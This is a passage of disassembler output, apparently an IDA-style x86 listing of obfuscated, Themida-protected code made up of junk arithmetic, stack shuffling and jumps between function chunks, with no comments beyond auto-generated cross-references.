loc_58A4D4: ; CODE XREF: sub_58FA66-B30Ej
push esi
mov esi, 51DC6431h
mov edx, 26CA36B3h
xor edx, esi
pop esi
not edx
sub edx, 347C534Eh
add edx, 79AD473Ah
jmp loc_583E75
; END OF FUNCTION CHUNK FOR sub_58FA66
; =============== S U B R O U T I N E =======================================
sub_58A4F5 proc near ; CODE XREF: sub_585452+6A62j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005876E9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00588493 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058B35E SIZE 00000016 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
push ebx
jmp loc_5876E9
sub_58A4F5 endp
; ---------------------------------------------------------------------------
loc_58A504: ; CODE XREF: Themida_:0058CEB5j
push ebp
push dword ptr [esp+4]
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
pop dword ptr [esp]
pop esp
mov [esp], ax
jmp loc_58F506
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E931
loc_58A53A: ; CODE XREF: sub_58E931+7j
sub [esp+8+var_4], edx
pop edx
push [esp+4+var_4]
pop eax
add esp, 4
push edi
jmp loc_5846F5
; END OF FUNCTION CHUNK FOR sub_58E931
; ---------------------------------------------------------------------------
loc_58A54F: ; CODE XREF: Themida_:005874CBj
sub esp, 4
jmp loc_585DC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A55A: ; CODE XREF: sub_585452+415j
pop ebx
add ebp, esi
sub esp, 4
mov [esp+42h+var_44+2], ebx
jmp loc_58C222
; ---------------------------------------------------------------------------
loc_58A56B: ; CODE XREF: sub_585452+2920j
pop ecx
jmp loc_58ED76
; ---------------------------------------------------------------------------
loc_58A571: ; CODE XREF: sub_585452+605j
mov ecx, 4B1551F0h
add ebx, 3E584206h
sub ebx, ecx
sub ebx, 3E584206h
mov ecx, [esp+52h+var_54+2]
push eax
jmp loc_58932C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A58D: ; CODE XREF: Themida_:0058F279j
push edi
jmp loc_589958
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A593: ; CODE XREF: sub_585452+9DE0j
push edi
dec [esp+5Ah+var_5C+2]
pop edi
and edi, 4422705h
jmp loc_58C920
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58A5A3 proc near ; CODE XREF: sub_585452+9244j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00585078 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005871E9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00587CFE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00587EC7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058888C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058C6F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058D89A SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058F3F1 SIZE 00000007 BYTES
sub esp, 4
mov [esp+4+var_4], esp
push ecx
jmp loc_58C6F8
sub_58A5A3 endp
; ---------------------------------------------------------------------------
loc_58A5AF: ; CODE XREF: Themida_:005863AFj
add esp, 4
pop edx
push 7EFEh
mov [esp], ecx
mov ch, 0CDh
add al, ch
pop ecx
jmp loc_584BC0
; ---------------------------------------------------------------------------
loc_58A5C8: ; CODE XREF: Themida_:0058E2F5j
add edi, 36806E21h
add edi, edx
sub edi, 36806E21h
jmp loc_58E6B6
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push 1FF8h
mov [esp], edx
push esp
pop edx
add edx, 4
push ebp
push eax
push edi
mov edi, 518C014Ah
or edi, 59A56C5Ah
neg edi
sub edi, 311F3530h
not edi
jmp loc_58D569
; ---------------------------------------------------------------------------
loc_58A60C: ; CODE XREF: Themida_:0058868Fj
add esi, 4
xchg esi, [esp]
pop esp
xor eax, 2FE86EBBh
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A61D: ; CODE XREF: sub_585452+1BCEj
add ebx, eax
add ebx, 0D4F491Ah
pop eax
push ebx
jmp loc_587010
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A62C: ; CODE XREF: Themida_:0058AB90j
xchg ebp, [esp]
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58A63B: ; CODE XREF: Themida_:0058FC74j
push ebx
mov ebx, 127D0FB0h
jmp loc_589776
; ---------------------------------------------------------------------------
loc_58A646: ; CODE XREF: Themida_:00587DE1j
sub edi, 75C85584h
push ebp
mov ebp, 6AE7363h
neg ebp
add ebp, 29376716h
shl ebp, 8
jmp loc_587A00
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58A662: ; CODE XREF: sub_58FA66-A952j
pop eax
add esp, 4
sub esp, 4
mov [esp+0], ebp
push esi
push eax
jmp loc_589D0E
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A676: ; CODE XREF: sub_585452+83Cj
add edi, 4
sub edi, 4
sub esp, 4
mov [esp-0Eh+arg_8+2], edi
push [esp-0Eh+arg_E]
pop edi
pop [esp-0Eh+arg_8+2]
pop esp
mov [esp-16h+arg_12], ebp
jmp loc_58D1BD
; ---------------------------------------------------------------------------
loc_58A699: ; CODE XREF: sub_585452+3015j
mov ecx, [edx]
mov edx, [esp+4+var_4]
add esp, 4
sub esp, 4
mov [esp+4+var_4], ebp
push 4E1h
mov [esp+8+var_8], esi
push edx
mov edx, 40h
jmp loc_5853C4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A6C0: ; CODE XREF: Themida_:0058D6CEj
xchg esi, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5875F6
; ---------------------------------------------------------------------------
loc_58A6D2: ; CODE XREF: Themida_:0058BA25j
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_584320
; ---------------------------------------------------------------------------
loc_58A6E4: ; CODE XREF: Themida_:0058E1DFj
push 3FB4h
mov [esp], esp
jmp loc_588CD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58A6F1: ; CODE XREF: sub_587574+54D6j
pop esp
mov [esp+0], eax
mov eax, 20h
push 1BDDh
mov [esp-4+arg_0], edi
jmp loc_5869DA
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A707: ; CODE XREF: sub_585452+A00Ej
xor bl, 7Bh
jmp loc_58C013
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A26F
loc_58A70F: ; CODE XREF: sub_58A26F+150Bj
add esp, 4
inc ecx
jmp sub_58CA39
; END OF FUNCTION CHUNK FOR sub_58A26F
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
push 581Fh
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
jmp loc_589993
; ---------------------------------------------------------------------------
loc_58A734: ; CODE XREF: Themida_:0058B949j
sub bl, cl
push dword ptr [esp]
jmp loc_58CE5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A73E: ; CODE XREF: sub_585452+54ABj
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58A743: ; CODE XREF: sub_585452+1987j
push esi
mov esi, 3C6B374Eh
mov ebp, 0C394C8B3h
jmp loc_58BA8F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58A758: ; CODE XREF: sub_58EFBD-A06Aj
push edx
mov edx, 0E8EF4C6Ch
add ecx, edx
pop edx
sub edx, ecx
pop ecx
and eax, edx
pop edx
or eax, eax
jz loc_58BF42
sub esp, 4
mov [esp-0Ch+arg_8], ebx
jmp loc_58B94E
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A77A: ; CODE XREF: sub_585452+4AF5j
push 15B85B67h
pop eax
sub [esp+46h+var_44+2], eax
pop eax
jmp loc_589CD1
; ---------------------------------------------------------------------------
loc_58A78A: ; CODE XREF: sub_585452+A9F6j
add ecx, 2
xchg ecx, [esp+42h+var_44+2]
pop esp
jmp sub_585350
; ---------------------------------------------------------------------------
loc_58A799: ; CODE XREF: sub_585452+7359j
xchg ecx, [esp+3Eh+var_40+2]
pop esp
sub eax, 4
xchg eax, [esp+3Ah+var_3C+2]
pop esp
jmp loc_588AA6
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A7AB: ; CODE XREF: Themida_:00584CF6j
mov eax, 2
add esi, eax
jmp loc_584F58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A7B7: ; CODE XREF: sub_585452+3354j
mov ch, bl
mov dh, ch
pop ecx
pop ebx
xor al, dh
jmp loc_58CA93
; ---------------------------------------------------------------------------
loc_58A7C4: ; CODE XREF: sub_585452-A5Fj
sub [esp-18h+arg_12+2], 455B15F2h
pop eax
add eax, 455B15F2h
pop ecx
push edi
sub esp, 4
jmp loc_585D24
; ---------------------------------------------------------------------------
loc_58A7DE: ; CODE XREF: sub_585452+706j
movzx cx, ah
push 5111h
mov [esp+0], esi
sub esp, 4
mov [esp-0Ch+arg_8], esp
add [esp-0Ch+arg_8], 4
mov esi, [esp-0Ch+arg_8]
push ebp
jmp loc_58D6F3
; ---------------------------------------------------------------------------
loc_58A800: ; CODE XREF: sub_585452+9ADDj
mov word ptr [esp-8+arg_4], dx
push ax
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A80C: ; CODE XREF: Themida_:0058E341j
sub edi, 3F9C51D7h
pop ecx
jmp loc_58F67B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A818: ; CODE XREF: sub_585452+59F5j
xor ah, 7Fh
sub ch, ah
pop eax
sub bl, ch
mov ecx, [esp-6+arg_0+2]
add esp, 4
jmp loc_58637F
; ---------------------------------------------------------------------------
loc_58A82E: ; CODE XREF: sub_585452+49Aj
pop ebp
add esp, 4
or eax, eax
jz sub_58E931
push ebx
sub esp, 4
mov [esp+4Ah+var_4C+2], esi
push 0E834D54h
pop esi
xchg eax, esi
jmp loc_584D27
; ---------------------------------------------------------------------------
loc_58A850: ; CODE XREF: sub_585452-5AAj
shl esi, 2
sub esi, 0FFFFFFFFh
push 4145h
mov [esp-2Ah+arg_24+2], esi
xchg edx, [esp-2Ah+arg_24+2]
xchg ecx, edx
push ecx
jmp loc_587307
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A86C: ; CODE XREF: Themida_:0058CA34j
xchg ebp, [esp]
pop esp
add esp, 4
jmp loc_583C20
; ---------------------------------------------------------------------------
mov cx, [esp]
push 250h
mov [esp], ebx
jmp loc_583CEF
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edx
push esp
jmp loc_58F8D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58A89C: ; CODE XREF: sub_58EFBD-AFB5j
sub ebp, edi
pop edi
sub ebp, 806B1229h
mov ebx, ebp
pop ebp
add ebx, 0AFA75D7h
add ebx, eax
push eax
mov eax, 0AFA75D7h
sub ebx, eax
jmp loc_584F0C
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A8BD: ; CODE XREF: sub_585452-5j
xor ebx, 0D846A279h
push eax
mov eax, 440F6203h
xor eax, 33A272D9h
jmp loc_584BA2
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A8D3: ; CODE XREF: Themida_:00588701j
not edx
xchg eax, edx
xor eax, 271976CCh
mov ebp, eax
pop eax
xor ebp, 7533305h
dec ebp
inc ebp
and ebp, 1AB95E90h
sub ebp, 0E84C409Ah
add ebx, ebp
jmp loc_589E3E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A8F9: ; CODE XREF: sub_585452-104Fj
and byte ptr [esp-8+arg_4], al
pushf
jmp loc_58A73E
; ---------------------------------------------------------------------------
loc_58A902: ; CODE XREF: sub_585452+7F2Cj
xor edi, [esp-4+arg_0]
pop esp
mov word ptr [esp-8+arg_4], dx
mov dh, 69h
sub al, dh
mov dx, word ptr [esp-8+arg_4]
push edx
jmp loc_588543
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A918: ; CODE XREF: Themida_:0058450Ej
push ebx
push eax
mov al, 3
neg al
or al, 66h
jmp loc_585062
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EA34
loc_58A925: ; CODE XREF: sub_58EA34-8820j
add esp, 4
jmp loc_58E009
; END OF FUNCTION CHUNK FOR sub_58EA34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A930: ; CODE XREF: sub_585452+2C89j
pop edx
sub esp, 4
mov [esp-0Eh+arg_8+2], ecx
push edx
mov dl, 0E2h
push eax
mov al, 0DAh
not al
or al, 0F1h
shr al, 4
not al
add al, 43h
sub al, 7Bh
mov cl, al
jmp loc_58811F
; ---------------------------------------------------------------------------
loc_58A951: ; CODE XREF: sub_585452+27FFj
mov [esp-14h+arg_E+2], ebx
jmp loc_58CBEE
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E1AF
loc_58A959: ; CODE XREF: sub_58E1AF+Bj
push eax
mov eax, 5F936A11h
and eax, 719866D6h
jmp loc_58E3BA
; END OF FUNCTION CHUNK FOR sub_58E1AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A969: ; CODE XREF: sub_585452+FB3j
shr ah, 5
push cx
mov ch, 2Eh
jmp loc_58BE56
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_58A975: ; CODE XREF: sub_58960C+3F83j
mov edi, 64037DB9h
sub edi, 0BB856FFh
add edi, 48CD4DADh
inc edi
sub edi, 2C13784Ch
add edi, 8C1839FDh
add ecx, edi
pop edi
mov edx, [esp+4+var_4]
jmp loc_5897B7
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58A99E: ; CODE XREF: sub_585452+9C15j
or edx, eax
shl edx, 1
push esi
mov esi, esp
jmp loc_58691E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58A9AA: ; CODE XREF: Themida_:005867DFj
idiv ecx
push 1C96h
mov [esp], edx
push eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58A9BB: ; CODE XREF: Themida_:00584614j
sub esp, 4
mov [esp], esp
jmp loc_58DC74
; ---------------------------------------------------------------------------
loc_58A9C6: ; CODE XREF: Themida_:00586162j
push edx
jmp loc_589765
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586650
loc_58A9CC: ; CODE XREF: sub_586650+16D0j
add esi, 6064170Bh
add esi, edx
jmp loc_58A2F5
; END OF FUNCTION CHUNK FOR sub_586650
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BCA7
loc_58A9D9: ; CODE XREF: sub_58BCA7+40j
mov ecx, 69CA0D3Fh
mov ebx, 0D7EF2EB9h
sub ebx, ecx
pop ecx
mov esi, ebx
jmp loc_58F733
; END OF FUNCTION CHUNK FOR sub_58BCA7
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ebx
jmp loc_58720E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E761
loc_58A9F6: ; CODE XREF: sub_58E761+349j
mov ebx, 2
add esi, 604B0F54h
jmp loc_5859EB
; END OF FUNCTION CHUNK FOR sub_58E761
; ---------------------------------------------------------------------------
loc_58AA06: ; CODE XREF: Themida_:0058675Aj
xor ebp, 7A99454h
sub edi, ebp
pop ebp
push eax
mov eax, 269805C3h
or edi, eax
pop eax
push edx
mov edx, 701646A2h
or edx, 41B04665h
or edx, 1DA3637Bh
dec edx
xor edx, 530CE221h
xor edi, edx
pop edx
add edx, edi
mov edi, [esp]
add esp, 4
add edx, 2
xchg edx, [esp]
pop esp
mov ax, [esp]
push 7440h
mov [esp], edi
push esp
jmp loc_588FFC
; ---------------------------------------------------------------------------
loc_58AA5B: ; CODE XREF: Themida_:0058617Bj
pop ecx
push 600h
jmp loc_58F59C
; ---------------------------------------------------------------------------
loc_58AA66: ; CODE XREF: Themida_:00588101j
mov [esp], edx
mov dh, 52h
jmp loc_58F382
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr byte ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58AA7F: ; CODE XREF: sub_587574-F39j
sub dword ptr [edi+24h], 6F7D79B2h
jmp loc_585507
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
loc_58AA8B: ; CODE XREF: Themida_:0058F638j
xor edx, ebx
jmp loc_58DE38
; ---------------------------------------------------------------------------
loc_58AA92: ; CODE XREF: Themida_:00588C5Bj
xchg ecx, [esp]
pop esp
add edi, 2
jmp loc_58D8C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_58AAA1: ; CODE XREF: sub_58FA66-978Aj
pop ecx
pop eax
jmp loc_585373
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_58AAA8: ; CODE XREF: Themida_:00587A84j
xchg ebp, [esp]
mov esp, [esp]
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
push 2417h
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ebp
push edx
mov edx, 3BF37079h
add edx, 51123E53h
shl edx, 2
jmp loc_58D854
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_588917
; ---------------------------------------------------------------------------
loc_58AB0B: ; CODE XREF: Themida_:0058AC5Bj
pop ebx
add ebx, 4
push edx
jmp loc_58BBDB
; =============== S U B R O U T I N E =======================================
sub_58AB18 proc near ; CODE XREF: sub_585452+57A2j
arg_0 = dword ptr 4
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
; FUNCTION CHUNK AT 00583F40 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005850EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00586423 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00587370 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00587DEC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005886B5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005890A7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005892F0 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058972B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058B2C7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058CB99 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058CC7D SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0058D9AE SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058DA53 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058E0E3 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058E808 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058FA98 SIZE 0000000C BYTES
push ebx
mov ebx, esp
jmp loc_58972B
sub_58AB18 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E761
loc_58AB20: ; CODE XREF: sub_58E761-830Fj
pop ebx
add esp, 4
xchg eax, [esp-8+arg_4]
jmp loc_587E29
; END OF FUNCTION CHUNK FOR sub_58E761
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AB2F: ; CODE XREF: sub_585452-8C9j
sub cl, 84h
jmp loc_5880D8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58AB37: ; CODE XREF: Themida_:0058E3B5j
add ecx, 599B250Ch
sub ecx, 5B21758h
jmp loc_58E909
; ---------------------------------------------------------------------------
loc_58AB48: ; CODE XREF: Themida_:0058D66Dj
mov ebx, 0A241F24h
sub ebp, ebx
pop ebx
mov ecx, [esp]
jmp loc_589490
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AB58: ; CODE XREF: sub_585452-36Dj
pop edx
push ecx
push ebx
add [esp+6+var_8+2], 69227A17h
pop ecx
push edx
mov edx, 69227A17h
sub ecx, edx
pop edx
mov eax, ecx
jmp loc_585CCA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58AB73: ; CODE XREF: Themida_:005852AEj
push ecx
mov ecx, 28D47871h
sub ebp, ecx
pop ecx
add ebp, ecx
add ebp, 28D47871h
mov ecx, [esp]
add esp, 4
add ebp, 2
jmp loc_58A62C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AB95: ; CODE XREF: sub_585452+2765j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp-8+arg_4]
pop esp
mov eax, [esp-0Ch+arg_8]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp-8+arg_4]
jmp loc_584064
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_583D6F
loc_58ABBA: ; CODE XREF: sub_583D6F+260Bj
add edx, esi
pop esi
pop eax
xchg edx, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
rol word ptr [esp-4+arg_0], cl
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_583D6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58ABCE: ; CODE XREF: sub_585452+507Dj
pop esp
mov [esp+0Ah+var_C+2], eax
mov eax, 1
and ecx, eax
pop eax
shr ecx, 0
or eax, eax
jz sub_58DCD4
push 9A6h
mov [esp+0Ah+var_C+2], eax
mov eax, esp
add eax, 4
jmp sub_58AB18
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58ABF9: ; CODE XREF: Themida_:005864E1j
mov esi, esp
add esi, 4
sub esp, 4
mov [esp], eax
mov eax, 7CA13C01h
jmp loc_58EC5C
; ---------------------------------------------------------------------------
loc_58AC14: ; CODE XREF: Themida_:00588666j
sub esp, 4
mov [esp], eax
mov eax, 2
jmp loc_58414B
; ---------------------------------------------------------------------------
loc_58AC27: ; CODE XREF: Themida_:0058EA5Dj
xor ecx, esi
jmp loc_58AFE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B758
loc_58AC2E: ; CODE XREF: sub_58B758+3j
add ebx, 4
sub ebx, 4
xchg ebx, [esp-8+arg_4]
pop esp
mov [esp+0], edx
jmp loc_586516
; END OF FUNCTION CHUNK FOR sub_58B758
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_58AC43: ; CODE XREF: sub_58CCD7+3j
add ebx, 4
push ecx
mov ecx, 6B3C3E55h
jmp loc_58D311
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
loc_58AC54: ; CODE XREF: Themida_:00584059j
add dword ptr [esp], 4
jmp loc_58AB0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AC60: ; CODE XREF: sub_585452+6C7j
mov edx, [esp+0]
add esp, 4
add edx, 4
add edx, 4
xchg edx, [esp-4+arg_0]
pop esp
jmp sub_58622C
; ---------------------------------------------------------------------------
loc_58AC7B: ; CODE XREF: sub_585452-4E9j
pop esi
pop [esp-0Eh+arg_8+2]
mov esp, [esp-12h+arg_E]
test ecx, eax
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58AC8A: ; CODE XREF: sub_585452-198j
and eax, 80269DDh
xor eax, 26BCCh
mov esi, eax
pop eax
and eax, esi
pop esi
jmp loc_58C10B
; ---------------------------------------------------------------------------
loc_58AC9F: ; CODE XREF: sub_585452+21Aj
pop esp
mov [esp-22h+arg_1E], edx
pop dword ptr [edi+20h]
jmp loc_58CDB4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58ACAB: ; CODE XREF: sub_58999B-38FFj
add edx, 75821ACAh
jmp loc_587658
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
loc_58ACB6: ; CODE XREF: Themida_:0058D516j
add eax, 79279C5h
jmp loc_58BA01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58ACC0: ; CODE XREF: sub_585452+C7Fj
add esp, 4
mov eax, [esp+0Ah+var_C+2]
push ebp
jmp loc_5862E1
; ---------------------------------------------------------------------------
loc_58ACCC: ; CODE XREF: sub_585452+5E35j
push [esp+0Eh+var_C+2]
jmp loc_58E779
; ---------------------------------------------------------------------------
loc_58ACD5: ; CODE XREF: sub_585452+6DD9j
xor ebp, [esp+12h+var_14+2]
xor [esp+12h+var_14+2], ebp
jmp loc_587A51
; ---------------------------------------------------------------------------
loc_58ACE0: ; CODE XREF: sub_585452+85Cj
pop edx
shr ecx, 6
jmp loc_58E3EC
; ---------------------------------------------------------------------------
loc_58ACE9: ; CODE XREF: sub_585452+288j
add esp, 4
sub edi, 4
xor edi, [esp-12h+arg_E]
xor [esp-12h+arg_E], edi
jmp loc_585669
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
push esp
mov ecx, [esp]
push ebp
mov ebp, esp
jmp loc_58FC58
; ---------------------------------------------------------------------------
loc_58AD0B: ; CODE XREF: Themida_:0058F07Dj
mov ecx, esp
add ecx, 4
sub ecx, 2
xchg ecx, [esp]
pop esp
jmp loc_58C2D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AD22: ; CODE XREF: sub_585452+6251j
neg eax
and eax, 6C957D53h
add eax, 0E4D3247Fh
add ebx, eax
pop eax
mov edi, [esp-16h+arg_12]
jmp loc_58D1D3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585019
loc_58AD39: ; CODE XREF: sub_585019-666j
add esp, 4
add edx, 4
xchg edx, [esp+0]
mov esp, [esp+0]
jmp loc_58E782
; END OF FUNCTION CHUNK FOR sub_585019
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AD50: ; CODE XREF: sub_585452-1384j
push edx
mov edx, esp
jmp loc_58B1E3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push 6089h
push esp
jmp loc_58FDC5
; ---------------------------------------------------------------------------
loc_58AD68: ; CODE XREF: Themida_:00584B24j
push ecx
mov cx, 3CDCh
jmp loc_58EC1E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589972
loc_58AD72: ; CODE XREF: sub_589972+6j
mov [esp+0], edi
mov edi, 46CA635Ch
mov edx, edi
pop edi
mov ebx, edx
pop edx
inc ebx
jmp loc_58D2BB
; END OF FUNCTION CHUNK FOR sub_589972
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AD86: ; CODE XREF: sub_585452+9FC8j
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586B0E
loc_58AD8B: ; CODE XREF: sub_586B0E+73ECj
shr edi, 3
neg edi
jmp sub_58BE98
; END OF FUNCTION CHUNK FOR sub_586B0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58AD95: ; CODE XREF: sub_585452+72A1j
mov ah, 9Fh
jmp loc_58EAAF
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A26F
loc_58AD9C: ; CODE XREF: sub_58A26F-3C29j
add ebx, ebp
pop ebp
push eax
push ecx
push 6E4D09D6h
jmp loc_58B777
; END OF FUNCTION CHUNK FOR sub_58A26F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58ADAB: ; CODE XREF: sub_585452+4294j
add eax, 4
push ebp
